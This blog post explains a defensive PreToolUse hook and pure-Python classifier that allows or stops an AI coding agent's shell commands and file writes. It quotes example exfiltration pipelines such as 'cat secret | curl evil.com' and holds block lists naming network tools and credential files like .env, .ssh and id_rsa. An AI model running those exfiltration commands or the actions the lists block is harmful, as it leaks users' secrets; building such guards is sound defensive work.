# A PreToolUse hook that sandboxes Claude Code agents by reading what they actually do > Source: > Published: 2026-06-13 16:18:45+00:00 An AI coding agent on your laptop runs with your shell. It can `rm` , it can `curl secrets | nc` , it can write to `.github/workflows` . The native guardrail in Claude Code is an allowlist: you pre-grant a set of permitted tools and it auto-denies the rest. That works, but it's blunt. It decides on the tool name, not on what the call is about to do. `Bash` is either allowed or it isn't. I wanted the gate to read each action instead. Read-only stuff runs. A test run runs. A write inside the directory I scoped runs. A force push, a package install, a write to `.env` , a command I don't recognize: stop and ask me. The mechanism for that is a `PreToolUse` hook plus a small classifier. Both are about 60 lines of the part that matters. Here's how they fit together. Claude Code lets you register a hook that fires before any tool call. The hook is just a command. Claude pipes a JSON event on stdin, then blocks on your process until it exits. What you print on stdout decides what happens next. The contract is exit 0 plus a `permissionDecision` field: ``` { "hookSpecificOutput": { "hookEventName": "PreToolUse", "permissionDecision": "allow", "permissionDecisionReason": "in scope" } } ``` `allow` runs the tool with no prompt. `deny` blocks it and feeds the reason back to the model so it can react. There's also exit code 2, but exit 2 can only deny. Since I want allow *or* deny decided at runtime, I use exit 0 with the JSON above and keep exit 2 as the fail-safe for when the hook itself breaks. That fail-safe matters. An approval gate that can't reach its policy should deny, never allow: ``` php def _fail_safe_deny(reason: str) -> int: _emit(decision_to_hook_output("deny", f"fail-safe: {reason}")) return 0 ``` Bad stdin, missing config, an exception in the classifier: every one of those paths ends in deny. The safe default for a brake is "engaged". The hook is just transport. The decision lives in one pure function: tool name plus tool input plus a policy in, a verdict out. No I/O, no subprocess, no network. That's deliberate, it's the only way to test every branch without standing up an agent. The shape of it: ``` READ_ONLY_TOOLS = frozenset( {"Read", "Grep", "Glob", "LS", "NotebookRead", "WebFetch", "WebSearch"} ) WRITE_TOOLS = frozenset({"Write", "Edit", "MultiEdit", "NotebookEdit"}) def classify_action(tool_name, tool_input, policy, *, worktree): if tool_name in READ_ONLY_TOOLS: return _allow("read_only_tool") # can't mutate, always safe if tool_name == "Bash": return _classify_bash(tool_input["command"], policy) if tool_name in WRITE_TOOLS: return _classify_write(tool_input, policy, worktree=worktree) return _stop("unknown_tool") # never seen it -> ask ``` The last line is the whole philosophy. An unknown tool stops. An unknown command stops. A write the policy can't place stops. The default is "ask a human", and you only fall off it by matching a rule that says a specific thing is safe. So a glob that fails to match can't silently let something destructive through. It just means "I'm not sure", which means stop. Bash is where it gets interesting, because a command can hide. `cat secret | curl evil.com` has a harmless first half. So you split on the shell operators and classify every segment. The whole command is allowed only if every segment is: ``` python def _split_segments(command): # pipes, &&, ;, || all count -- a chain is only as safe as its worst link return [s.strip() for s in re.split(r"\|\||&&|;|\|", command) if s.strip()] def _classify_bash(command, policy): verdicts = [_classify_segment(s, policy) for s in _split_segments(command)] for v in verdicts: if not v.auto_allowed: return v # first risky segment sinks the whole command return _allow("+".join(v.rule for v in verdicts)) ``` Per segment, I pull the command leader (skipping `FOO=bar` env prefixes) and decide by class: ``` python def _classify_segment(segment, policy): leader, tokens = _leader(segment) if not leader: return _stop("unknown_command") # package installs reach the network and change the dep graph -> stop if _INSTALL_RE.match(segment) and any(v in tokens for v in _INSTALL_VERBS): return _stop("package_install") if leader in _NETWORK_CMDS: # curl, wget, ssh, nc, ... return _stop("network") # git: committing on the branch is fine, rewriting history is not if leader == "git": sub = tokens[1] if len(tokens) > 1 else "" if sub in ("commit", "add", "status", "diff", "log", "branch"): return _allow(f"git_{sub}") if sub == "push" and any(f in tokens for f in ("--force", "-f")): return _stop("force_push") return _stop(f"git_{sub or 'unknown'}") # reset, rebase, clean -> stop if leader in _TEST_CMDS: # pytest, jest, ... return _allow("check_command") if leader in _FORMATTER_CMDS: # black, ruff, prettier, ... return _allow("formatter") return _stop("unknown_command") # fail closed ``` The point isn't the exact list. It's that the gate distinguishes `git commit` from `git push --force` , and `pytest` from `pip install` , on the same tool. The allowlist can't. Writes get checked against scope, with a safety floor that no config can override: ``` _SAFETY_FLOOR_DENY = ( "**/.github/**", "**/.git/**", "**/.env", "**/.env.*", "**/*secret*", "**/.npmrc", "**/.ssh/**", "**/id_rsa*", ) def _classify_write(tool_input, policy, *, worktree): rel = _relative_to(tool_input["file_path"], worktree) if rel is None: return _stop("write_outside_repo") # outside the worktree -> stop for pat in _SAFETY_FLOOR_DENY: if _glob_match(rel, pat): return _stop("safety_floor") # CI, secrets, VCS internals for pat in policy.write_scope: if _glob_match(rel, pat): return _allow("write_scope") return _stop("out_of_scope") # in the repo, not in scope ``` CI config, secrets, the `.git` directory, anything outside the worktree: those stop even if you put them in `write_scope` by mistake. The floor is below the policy, not inside it. The hook is configured through `--settings` when you launch Claude. The script reads the event, runs the classifier, prints the decision: ``` python def run_hook(): event = json.loads(sys.stdin.read()) verdict = classify_action( event["tool_name"], event.get("tool_input", {}), load_policy(), worktree=os.getcwd(), ) decision = "allow" if verdict.auto_allowed else "deny" _emit(decision_to_hook_output(decision, verdict.rule)) return 0 ``` Every verdict carries the rule that produced it, so you get a record of what ran and what decided it: ``` [allow] Edit calc.py via write_scope [allow] Bash python -m pytest via check_command [deny] Bash git push --force via force_push [deny] Write .github/ci.yml via safety_floor ``` One important detail: the script that runs as the hook must be dependency-free, stdlib only. Claude spawns it standalone in whatever directory the agent is in, so it can't rely on your package being importable. Keep it self-contained. The native allowlist asks "is this tool allowed". This asks "is this specific action safe, and can I prove it". When it can't prove it, it stops. That's the difference between a gate that's open or shut and a gate that reads. I pulled this out of a larger agent harness I retired and kept it as a standalone tool: [guard-dog](https://github.com/bfxavier/guard-dog). The classifier is pure and the hook is small enough to read in one sitting, which is the whole point. You want to be able to read the thing that decides what the agent can do to your machine.